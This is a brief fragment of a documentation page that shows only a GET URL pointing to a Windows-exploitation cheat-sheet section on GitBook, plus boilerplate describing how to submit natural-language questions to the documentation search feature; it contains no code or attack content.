GET https://w0lf-f4ng.gitbook.io/cheat-sheet/explotacion/explotacion-de-entornos-windows.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.